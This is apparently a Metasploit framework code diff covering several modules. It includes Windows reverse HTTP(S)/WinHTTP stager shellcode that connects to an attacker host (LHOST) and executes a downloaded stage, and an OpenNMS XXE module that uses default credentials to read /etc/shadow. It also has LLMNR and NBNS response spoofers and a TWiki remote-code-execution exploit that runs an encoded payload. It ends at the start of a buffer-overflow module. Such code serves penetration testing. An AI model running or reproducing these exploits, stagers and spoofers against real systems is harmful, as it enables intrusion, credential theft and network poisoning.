push 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
@@ -272,7 +363,7 @@ module Payload::Windows::ReverseHttp
asm << %Q^
allocate_memory:
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
+10 -3
View File
@@ -40,10 +40,11 @@ module Payload::Windows::ReverseHttps
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_reverse_https(
ssl: true,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW),
ssl: true)
url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
end
conf = {
@@ -51,7 +52,13 @@ module Payload::Windows::ReverseHttps
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC']
exitfunk: datastore['EXITFUNC'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass'],
proxy_type: datastore['PayloadProxyType'],
retry_count: datastore['StagerRetryCount']
}
generate_reverse_https(conf)
+134 -43
View File
@@ -36,7 +36,8 @@ module Payload::Windows::ReverseWinHttp
ssl: false,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri)
url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
end
conf = {
@@ -44,7 +45,8 @@ module Payload::Windows::ReverseWinHttp
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC']
exitfunk: datastore['EXITFUNC'],
retry_count: datastore['StagerRetryCount']
}
generate_reverse_winhttp(conf)
@@ -98,23 +100,32 @@ module Payload::Windows::ReverseWinHttp
join(",")
end
#
# Dynamic payload generation
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
#
def asm_reverse_winhttp(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
verify_ssl = nil
encoded_cert_hash = nil
encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host])
#
# options should contain:
# ssl: (true|false)
# url: "/url_to_request"
# host: [hostname]
# port: [port]
# exitfunk: [process|thread|seh|sleep]
#
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
verify_ssl = true
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
end
encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host])
http_open_flags = 0
@@ -137,46 +148,52 @@ module Payload::Windows::ReverseWinHttp
push esp ; Push a pointer to the "winhttp" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "winhttp" )
^
set_retry:
push.i8 6 ; retry 6 times
pop edi
xor ebx, ebx
mov ecx, edi
if verify_ssl
asm << %Q^
load_crypt32:
push 0x00323374 ; Push the string 'crypt32',0
push 0x70797263 ; ...
push esp ; Push a pointer to the "crypt32" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wincrypt" )
^
end
push_zeros:
push ebx ; NULL values for the WinHttpOpen API parameters
loop push_zeros
asm << %Q^
xor ebx, ebx
WinHttpOpen:
; Flags [5]
; ProxyBypass (NULL) [4]
; ProxyName (NULL) [3]
; AccessType (DEFAULT_PROXY= 0) [2]
; UserAgent (NULL) [1]
push ebx ; Flags
push ebx ; ProxyBypass (NULL)
push ebx ; ProxyName (NULL)
push ebx ; AccessType (DEFAULT_PROXY= 0)
push ebx ; UserAgent (NULL) [1]
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
call ebp
WinHttpConnect:
push ebx ; Reserved (NULL) [4]
push ebx ; Reserved (NULL)
push #{opts[:port]} ; Port [3]
call got_server_uri ; Double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
server_uri: ; server_host; server_uri is saved in edi for later
db #{encoded_url}
got_server_host:
push eax ; Session handle returned by WinHttpOpen [1]
push eax ; Session handle returned by WinHttpOpen
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
call ebp
WinHttpOpenRequest:
push.i32 #{"0x%.8x" % http_open_flags}
push ebx ; AcceptTypes (NULL) [6]
push ebx ; Referrer (NULL) [5]
push ebx ; Version (NULL) [4]
push edi ; ObjectName (URI) [3]
push ebx ; Verb (GET method) (NULL) [2]
push eax ; Connect handler returned by WinHttpConnect [1]
push #{"0x%.8x" % http_open_flags}
push ebx ; AcceptTypes (NULL)
push ebx ; Referrer (NULL)
push ebx ; Version (NULL)
push edi ; ObjectName (URI)
push ebx ; Verb (GET method) (NULL)
push eax ; Connect handle returned by WinHttpConnect
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
call ebp
xchg esi, eax ; save HttpRequest handler in esi
@@ -192,9 +209,9 @@ module Payload::Windows::ReverseWinHttp
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
mov eax, esp
push.i8 4 ; sizeof(buffer)
push 4 ; sizeof(buffer)
push eax ; &buffer
push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
call ebp
@@ -202,6 +219,11 @@ module Payload::Windows::ReverseWinHttp
end
asm << %Q^
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
send_request:
WinHttpSendRequest:
@@ -215,7 +237,7 @@ module Payload::Windows::ReverseWinHttp
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
call ebp
test eax,eax
jnz receive_response ; if TRUE call WinHttpReceiveResponse API
jnz check_response ; if TRUE call WinHttpReceiveResponse API
try_it_again:
dec edi
@@ -237,12 +259,79 @@ module Payload::Windows::ReverseWinHttp
^
end
# Jump target if the request was sent successfully
asm << %Q^
check_response:
^
# Verify the SSL certificate hash
if verify_ssl
asm << %Q^
ssl_cert_get_context:
push 4
mov ecx, esp ; Allocate &bufferLength
push 0
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
push ecx ; &bufferLength
push ebx ; &buffer
push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
push esi ; hHttpRequest
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
call ebp
test eax, eax ;
jz failure ; Bail out if we couldn't get the certificate context
; ebx
ssl_cert_allocate_hash_space:
push 20 ;
mov ecx, esp ; Store a reference to the address of 20
sub esp,[ecx] ; Allocate 20 bytes for the hash output
mov edi, esp ; edi will point to our buffer
ssl_cert_get_server_hash:
push ecx ; &bufferLength
push edi ; &buffer (20-byte SHA1 hash)
push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
push [ebx] ; *pCert
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
call ebp
test eax, eax ;
jz failure ; Bail out if we couldn't get the certificate context
ssl_cert_start_verify:
call ssl_cert_compare_hashes
db #{encoded_cert_hash}
ssl_cert_compare_hashes:
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
; edi points to the server-provided certificate hash
push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
pop ecx ;
mov edx, ecx ; Keep a reference to 4 in edx
ssl_cert_verify_compare_loop:
mov eax, [ebx] ; Grab the next DWORD of the hash
cmp eax, [edi] ; Compare with the server hash
jnz failure ; Bail out if the DWORD doesn't match
add ebx, edx ; Increment internal hash pointer by 4
add edi, edx ; Increment server hash pointer by 4
loop ssl_cert_verify_compare_loop
; Our certificate hash was valid, hurray!
ssl_cert_verify_cleanup:
xor ebx, ebx ; Reset ebx back to zero
^
end
asm << %Q^
receive_response:
; The API WinHttpReceiveResponse needs to be called
; first to get a valid handler for WinHttpReadData
push ebx ; Reserved (NULL) [2]
push esi ; Request handler returned by WinHttpSendRequest [1]
; first to get a valid handle for WinHttpReadData
push ebx ; Reserved (NULL)
push esi ; Request handler returned by WinHttpSendRequest
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
call ebp
test eax,eax
@@ -251,7 +340,7 @@ module Payload::Windows::ReverseWinHttp
asm << %Q^
allocate_memory:
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
@@ -299,6 +388,8 @@ module Payload::Windows::ReverseWinHttp
asm
end
end
end
@@ -2,6 +2,7 @@
require 'msf/core'
require 'msf/core/payload/windows/reverse_winhttp'
require 'rex/parser/x509_certificate'
module Msf
@@ -17,6 +18,17 @@ module Payload::Windows::ReverseWinHttps
include Msf::Payload::Windows::ReverseWinHttp
#
# Register reverse_winhttps specific options
#
def initialize(*args)
super
register_advanced_options(
[
OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false])
], self.class)
end
#
# Generate and compile the stager
#
@@ -37,13 +49,38 @@ module Payload::Windows::ReverseWinHttps
#
def generate
verify_cert = false
verify_cert_hash = nil
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
unless datastore['HandlerSSLCert']
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
else
verify_cert = true
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
unless hcert and hcert[0] and hcert[1]
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
end
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
end
end
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
end
return generate_reverse_winhttps(
ssl: true,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri)
url: generate_small_uri,
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount'])
end
conf = {
@@ -51,12 +88,32 @@ module Payload::Windows::ReverseWinHttps
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC']
exitfunk: datastore['EXITFUNC'],
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount']
}
generate_reverse_winhttps(conf)
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
space = super
# SSL support adds 20 bytes
space += 20
# SSL verification adds 120 bytes
if datastore['StagerVerifySSLCert']
space += 120
end
space
end
end
end
+62
View File
@@ -0,0 +1,62 @@
# -*- coding: binary -*-
require 'openssl'
module Rex
module Parser
###
#
# This class parses the contents of a PEM-encoded X509 certificate file containing
# a private key, a public key, and any appended glue certificates.
#
###
class X509Certificate
#
# Parse a certificate in unified PEM format that contains a private key and
# one or more certificates. The first certificate is the primary, while any
# additional certificates are treated as intermediary certificates. This emulates
# the behavior of web servers like nginx.
#
# @param [String] ssl_cert
# @return [String, String, Array]
def self.parse_pem(ssl_cert)
cert = nil
key = nil
chain = nil
certs = []
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
if pem =~ /PRIVATE KEY/
key = OpenSSL::PKey::RSA.new(pem)
elsif pem =~ /CERTIFICATE/
certs << OpenSSL::X509::Certificate.new(pem)
end
end
cert = certs.shift
if certs.length > 0
chain = certs
end
[key, cert, chain]
end
#
# Parse a certificate in unified PEM format from a file
#
# @param [String] ssl_cert_file
# @return [String, String, Array]
def self.parse_pem_file(ssl_cert_file)
data = ''
::File.open(ssl_cert_file, 'rb') do |fd|
data << fd.read(fd.stat.size)
end
parse_pem(data)
end
end
end
end
+4 -4
View File
@@ -118,13 +118,13 @@ module Rex
patch_comm_timeout! blob, options[:comm_timeout]
patch_ua! blob, options[:ua]
patch_proxy!(blob,
options[:proxyhost],
options[:proxyport],
options[:proxy_host],
options[:proxy_port],
options[:proxy_type]
)
patch_proxy_auth!(blob,
options[:proxy_username],
options[:proxy_password],
options[:proxy_user],
options[:proxy_pass],
options[:proxy_type]
)
+5 -5
View File
@@ -411,11 +411,11 @@ class ClientCore < Extension
:expiration => self.client.expiration,
:comm_timeout => self.client.comm_timeout,
:ua => client.exploit_datastore['MeterpreterUserAgent'],
:proxyhost => client.exploit_datastore['PROXYHOST'],
:proxyport => client.exploit_datastore['PROXYPORT'],
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
:proxy_type => client.exploit_datastore['PayloadProxyType'],
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
:proxy_pass => client.exploit_datastore['PayloadProxyPass']
end
+2 -19
View File
@@ -2,6 +2,7 @@
require 'rex/socket'
require 'rex/socket/tcp_server'
require 'rex/io/stream_server'
require 'rex/parser/x509_certificate'
###
#
@@ -108,25 +109,7 @@ module Rex::Socket::SslTcpServer
# @param [String] ssl_cert
# @return [String, String, Array]
def self.ssl_parse_pem(ssl_cert)
cert = nil
key = nil
chain = nil
certs = []
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
if pem =~ /PRIVATE KEY/
key = OpenSSL::PKey::RSA.new(pem)
elsif pem =~ /CERTIFICATE/
certs << OpenSSL::X509::Certificate.new(pem)
end
end
cert = certs.shift
if certs.length > 0
chain = certs
end
[key, cert, chain]
Rex::Parser::X509Certificate.parse_pem(ssl_cert)
end
#
+104
View File
@@ -0,0 +1,104 @@
require 'msf/core'
require 'openssl'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenNMS Authenticated XXE',
'Description' => %q{
OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface.
Although this attack requires authentication, there are several factors that increase the
severity of this vulnerability.
1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the
core of OpenNMS is that these components need to run as root to be able to bind to low-numbered
ports or generate network traffic that requires root"
2. The user that you must authenticate as is the "rtc" user which has the default password of
"rtc". There is no mention of this user in the installation guides found here:
http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default
admin password of "admin" for security purposes.
},
'License' => MSF_LICENSE,
'Author' => [
'Stephen Breen <breenmachine[at]gmail.com>', # discovery
'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module
],
'References' => [
['CVE', '2015-0975']
],
'DisclosureDate' => 'Jan 08 2015'
))
register_options(
[
Opt::RPORT(8980),
OptBool.new('SSL', [false, 'Use SSL', false]),
OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']),
OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]),
OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]),
OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"])
], self.class)
end
def run
print_status("Logging in to grab a valid session cookie")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'Login'=> 'Login'
},
})
if res.nil?
fail_with(Failure::Unreachable, "No response from POST request")
elsif res.code != 302
fail_with(Failure::UnexpectedReply, "Non-302 response from POST request")
end
unless res.headers["Location"].include? "index.jsp"
fail_with(Failure::NoAccess, 'Authentication failed')
end
cookie = res.get_cookies
print_status("Got cookie, going for the goods")
rand_doctype = Rex::Text.rand_text_alpha(rand(1..10))
rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10))
rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10))
delimiter = SecureRandom.uuid
xxe = %Q^<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE #{rand_doctype} [
<!ELEMENT #{rand_entity1} ANY >
<!ENTITY #{rand_entity2} SYSTEM "file://#{datastore["FILEPATH"]}" >
]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}</#{rand_entity1}>^
res = send_request_raw({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'),
'data' => xxe,
'cookie' => cookie
})
# extract filepath data from response
if res && res.code == 400 && res.body =~ /title.+#{delimiter}(.+)#{delimiter}.+title/m
result = $1
print_good("#{result}")
else
fail_with(Failure::Unknown, 'Error fetching file, try another')
end
end
end
@@ -103,7 +103,6 @@ class Metasploit3 < Msf::Auxiliary
if datastore['LISTENER']
@listener.kill if @listener
GC.start()
end
if capture and @spoofing and not datastore['BROADCAST']
+17 -12
View File
@@ -139,9 +139,7 @@ attr_accessor :sock, :thread
end
ip_pkt.recalc
open_pcap
capture_sendto(ip_pkt, rhost.to_s, true)
close_pcap
capture_sendto(ip_pkt, rhost.to_s, true)
end
def monitor_socket
@@ -176,7 +174,10 @@ attr_accessor :sock, :thread
def run
check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
# Avoid receiving extraneous traffic on our send socket
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
# Multicast Address for LLMNR
multicast_addr = ::IPAddr.new("224.0.0.252")
@@ -191,24 +192,28 @@ attr_accessor :sock, :thread
self.sock = Rex::Socket.create_udp(
# This must be INADDR_ANY to receive multicast packets
'LocalHost' => "0.0.0.0",
'LocalPort' => 5355)
'LocalPort' => 5355,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
monitor_socket
monitor_socket
}
print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")
add_socket(self.sock)
while thread.alive?
select(nil, nil, nil, 0.25)
end
self.thread.kill
self.sock.close rescue nil
self.thread.join
end
def cleanup
if self.thread and self.thread.alive?
self.thread.kill
self.thread = nil
end
close_pcap
end
end
+128 -91
View File
@@ -9,6 +9,9 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Capture
attr_accessor :sock, :thread
def initialize
super(
'Name' => 'NetBIOS Name Service Spoofer',
@@ -44,108 +47,142 @@ class Metasploit3 < Msf::Auxiliary
])
register_advanced_options([
OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false])
OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false])
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
self.thread = nil
self.sock = nil
end
def dispatch_request(packet, rhost, src_port)
rhost = ::IPAddr.new(rhost)
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
# addr like "::ffff:192.168.0.1" when the interface we're listening
# on has an IPv6 address. Convert it to just the v4 addr
if rhost.ipv4_mapped?
rhost = rhost.native
end
# Convert to string
rhost = rhost.to_s
spoof = ::IPAddr.new(datastore['SPOOFIP'])
return if packet.length == 0
nbnsq_transid = packet[0..1]
nbnsq_flags = packet[2..3]
nbnsq_questions = packet[4..5]
nbnsq_answerrr = packet[6..7]
nbnsq_authorityrr = packet[8..9]
nbnsq_additionalrr = packet[10..11]
nbnsq_name = packet[12..45]
decoded = ""
nbnsq_name.slice(1..-2).each_byte do |c|
decoded << "#{(c - 65).to_s(16)}"
end
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
nbnsq_type = packet[46..47]
nbnsq_class = packet[48..49]
return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
if datastore['DEBUG']
print_status("transid: #{nbnsq_transid.unpack('H4')}")
print_status("tlags: #{nbnsq_flags.unpack('B16')}")
print_status("questions: #{nbnsq_questions.unpack('n')}")
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
print_status("full name: #{nbnsq_name.slice(1..-2)}")
print_status("decoded: #{decoded}")
print_status("decoded name: #{nbnsq_decodedname}")
print_status("type: #{nbnsq_type.unpack('n')}")
print_status("class: #{nbnsq_class.unpack('n')}")
end
# time to build a response packet - Oh YEAH!
response = nbnsq_transid +
"\x85\x00" + # Flags = response + authoratative + recursion desired +
"\x00\x00" + # Questions = 0
"\x00\x01" + # Answer RRs = 1
"\x00\x00" + # Authority RRs = 0
"\x00\x00" + # Additional RRs = 0
nbnsq_name + # original query name
nbnsq_type + # Type = NB ...whatever that means
nbnsq_class+ # Class = IN
"\x00\x04\x93\xe0" + # TTL = a long ass time
"\x00\x06" + # Datalength = 6
"\x00\x00" + # Flags B-node, unique = whatever that means
spoof.hton
pkt = PacketFu::UDPPacket.new
pkt.ip_saddr = Rex::Socket.source_address(rhost)
pkt.ip_daddr = rhost
pkt.ip_ttl = 255
pkt.udp_sport = 137
pkt.udp_dport = src_port
pkt.payload = response
pkt.recalc
capture_sendto(pkt, rhost)
end
def monitor_socket
while true
rds = [self.sock]
wds = []
eds = [self.sock]
r,_,_ = ::IO.select(rds,wds,eds,0.25)
if (r != nil and r[0] == self.sock)
packet, host, port = self.sock.recvfrom(65535)
dispatch_request(packet, host, port)
end
end
end
def run
check_pcaprub_loaded() # Check first since otherwise this is all for naught
# MacOS X workaround
::Socket.do_not_reverse_lookup = true
check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
@sock = ::UDPSocket.new()
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
@sock.bind('', 137) # couldn't specify srv host because it missed broadcasts
# Avoid receiving extraneous traffic on our send socket
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
@run = true
self.sock = Rex::Socket.create_udp(
'LocalHost' => "0.0.0.0",
'LocalPort' => 137,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
add_socket(self.sock)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
print_status("NBNS Spoofer started. Listening for NBNS requests...")
begin
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
packet, addr = @sock.recvfrom(512)
src_port = addr[1]
rhost = addr[3]
break if packet.length == 0
nbnsq_transid = packet[0..1]
nbnsq_flags = packet[2..3]
nbnsq_questions = packet[4..5]
nbnsq_answerrr = packet[6..7]
nbnsq_authorityrr = packet[8..9]
nbnsq_additionalrr = packet[10..11]
nbnsq_name = packet[12..45]
decoded = ""
nbnsq_name.slice(1..-2).each_byte do |c|
decoded << "#{(c - 65).to_s(16)}"
self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) {
begin
monitor_socket
rescue ::Interrupt
raise $!
rescue ::Exception
print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
end
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
nbnsq_type = packet[46..47]
nbnsq_class = packet[48..49]
}
if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)
print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...")
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}")
if datastore['DEBUG']
print_status("transid: #{nbnsq_transid.unpack('H4')}")
print_status("tlags: #{nbnsq_flags.unpack('B16')}")
print_status("questions: #{nbnsq_questions.unpack('n')}")
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
print_status("full name: #{nbnsq_name.slice(1..-2)}")
print_status("decoded: #{decoded}")
print_status("decoded name: #{nbnsq_decodedname}")
print_status("type: #{nbnsq_type.unpack('n')}")
print_status("class: #{nbnsq_class.unpack('n')}")
end
# time to build a response packet - Oh YEAH!
response = nbnsq_transid +
"\x85\x00" + # Flags = response + authoratative + recursion desired +
"\x00\x00" + # Questions = 0
"\x00\x01" + # Answer RRs = 1
"\x00\x00" + # Authority RRs = 0
"\x00\x00" + # Additional RRs = 0
nbnsq_name + # original query name
nbnsq_type + # Type = NB ...whatever that means
nbnsq_class+ # Class = IN
"\x00\x04\x93\xe0" + # TTL = a long ass time
"\x00\x06" + # Datalength = 6
"\x00\x00" + # Flags B-node, unique = whet ever that means
datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*')
open_pcap
p = PacketFu::UDPPacket.new
p.ip_saddr = Rex::Socket.source_address(rhost)
p.ip_daddr = rhost
p.ip_ttl = 255
p.udp_sport = 137
p.udp_dport = src_port
p.payload = response
p.recalc
capture_sendto(p, rhost)
close_pcap
else
vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex")
end
end
rescue ::Exception => e
print_error("nbnspoof: #{e.class} #{e} #{e.backtrace}")
# Make sure the socket gets closed on exit
ensure
@sock.close
end
self.thread.join
print_status("NBNS Monitor thread exited...")
end
def cleanup
if self.thread and self.thread.alive?
self.thread.kill
self.thread = nil
end
close_pcap
end
end
@@ -0,0 +1,101 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'TWiki Debugenableplugins Remote Code Execution',
'Description' => %q{
TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality.
The value of the debugenableplugins parameter is used without proper sanitization
in an Perl eval statement which allows remote code execution
},
'Author' =>
[
'Netanel Rubin', # from Check Point - Discovery
'h0ng10', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-7236'],
[ 'OSVDB', '112977'],
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236']
],
'Privileged' => false,
'Targets' =>
[
[ 'Automatic',
{
'Payload' =>
{
'BadChars' => "",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python php',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 09 2014'))
register_options(
[
OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]),
OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin'])
], self.class)
end
def send_code(perl_code)
uri = target_uri.path
data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit"
res = send_request_cgi!({
'method' => 'POST',
'uri' => uri,
'data' => data
})
return res
end
def check
rand_1 = rand_text_alpha(5)
rand_2 = rand_text_alpha(5)
code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")"
res = send_code(code)
if res and res.code == 200
return CheckCode::Vulnerable if res.body == rand_1 + rand_2
end
CheckCode::Unknown
end
def exploit
code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");"
code += "require('MIME/Base64.pm');MIME::Base64->import();"
code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit"
res = send_code(code)
handler
end
end
@@ -0,0 +1,82 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Publish-It PUI Buffer Overflow (SEH)',
'Description' => %q{
This module exploits a stack based buffer overflow in Publish-It when
processing a specially crafted .PUI file. This vulnerability could be
exploited by a remote attacker to execute arbitrary code on the target
machine by enticing a user of Publish-It to open a malicious .PUI file.
},
'License' => MSF_LICENSE,
'Author' =>
[
